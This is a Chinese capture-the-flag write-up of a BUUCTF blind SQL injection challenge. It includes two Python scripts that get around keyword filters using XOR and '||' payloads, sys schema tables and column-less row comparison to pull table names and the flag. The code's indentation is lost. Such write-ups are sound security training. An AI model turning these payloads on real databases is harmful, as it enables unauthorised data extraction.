考点:
SQL 盲注。
python 编写
解题:
进入环境 好大个孙笑川,抛尸是吧😅。一开始没看到下面的查询框,我还以为在其他目录,然后去扫目录,后面才知道在下面,浪费了好多时间。。
老规矩,看到这个 万能密码 1' or 1=1# 。 发现被过滤了
fuzz 一下吧 看看过滤了 什么,字典可以在我之前的博客找到,也可以找找其他师傅的。
被过滤挺多的 ,就连 information_schema都给过滤了 ,还有大小写,双写,但是select 还能用。
看到这个,猜测考点是布尔盲注
or 给过滤了 但是 || ^还是可以使用的。
pyload:
import requests
import time
flag=""
src = "qwertyuiopasdfghjklzxcvbnm|1234567890?{_+}-=;',./<>!@#$%^&*()\""
url = "http://868f252e-3993-4f70-80bb-6045b1805481.node4.buuoj.cn:81/index.php"
for i in range(1,50):
print(i)
for j in src:
pyload ={
"id":"1^(ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),%d,1))=%d)^1" % (i, ord(j))
}
time.sleep(0.5)
res=requests.post(url=url, data=pyload)
if 'Nu1L' in res.text:
print(i)
flag+=j
print(flag)
break
#users233333333333333, f1ag_1s_h3r3_hhhhh
这里 涉及到的是无列名 注入,参考一下别的师傅的解释:
因为union 是被过滤了的,所以笔记里的直接取别名拿数据就行不通了
网上的方法
比较方式就是按照位比较ASCII大小,大的就大,举个例子
asd > abc
asd < flag
asd > absadasda
只要出现了大,那就是大
所以下面就是按照ASCII顺序去比较字符串,最后要减1 是因为我们拿的是大于嘛,减1 就是等于了对吧
import requests
import time
url='http://f638604e-e401-41e9-8510-ef431e97daf2.node4.buuoj.cn:81/'
flag=''
for j in range(1,50):
for i in range(32,128):
hexchar=flag+chr(i)
payload='-1||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
datas={'id':payload}
print(payload)
time.sleep(0.5)
re=requests.post(url=url,data=datas)
if 'Nu1L' in re.text:
flag+=chr(i-1)
print(flag)
break
print(flag.lower())
其实这里就是 做了位比较
比如 :
asd > abc 这里asd 大 是因为 a 的ascii码相等,s 比 b 的ascii码大 所以 是 asd>abc
至于为什么能得出flag 如果 位运算大于flag 的话, ascii码再 -1 就刚好 等于flag 的值。
这么说你明白了吧?
总结:
sql 的题 还是比较花 时间的,但是能够锻炼思维能力和脚本能力。